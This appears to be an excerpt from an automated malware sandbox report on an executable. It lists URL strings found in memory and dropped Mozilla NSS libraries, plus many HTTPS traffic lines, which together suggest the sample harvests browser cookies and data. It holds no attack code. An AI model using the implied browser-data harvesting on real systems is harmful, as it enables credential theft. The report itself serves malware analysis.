Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://musicbrainz.org
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: chromecache_475.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: file.exe, file.exe, 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2009598968.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028875188.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://api.discogs.com/oauth/access_token
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://api.discogs.com/oauth/identity
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://api.discogs.com/oauth/identityvwSgWuuGMPKbPEOYNTFNZsDQawYvtlmt?oauth_token=https://api.disco
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://api.discogs.com/oauth/request_token
Source: chromecache_475.5.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700
Source: file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta
Source: file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://community.mp3tag.de/
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://community.mp3tag.de/pStaticSupport
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://community.mp3tag.de/t/export-configuration-archive/1495CMTExportDlg::OnEndlabeleditListnItem
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://community.mp3tag.deCMTMainFrame::OnHelpSupportCMTMainFrame::CheckMailAdressCMTMainFrame::Ref
Source: file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg
Source: file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://docs.mp3tag.de/credits/
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://docs.mp3tag.de/credits/Y:
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://download.mp3tag.de/versions.xmlCMTUpdater::HandleLatestVersion
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_475.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_475.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_475.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_475.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://gnudb.org/%s/%s(artistalbum
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://gnudb.orgErrorFound
Source: AFHDBGHJKFIDHJJJEBKE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 000003.log3.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.10.dr, 000003.log0.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376765328853640.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_475.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.njy8xaI_aUJp
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.discogs.com/oauth/authorize
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_475.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_475.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_475.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	String found in binary or memory: https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr
Source: IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.d-GHL1OW1fkT
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.sYEKgG4Or0s6
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1882349538.0000000023C1A000.00000004.00000020.00020000.00000000.sdmp, IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1882349538.0000000023C1A000.00000004.00000020.00020000.00000000.sdmp, IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: Mp3tag.exe, 0000001E.00000002.2716239975.0000000140A21000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mp3tag.de
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mp3tag.de/en/donations.html
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mp3tag.de/en/donations.htmlpStaticDonate
Source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mp3tag.de/en/privacy.htmlpos

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
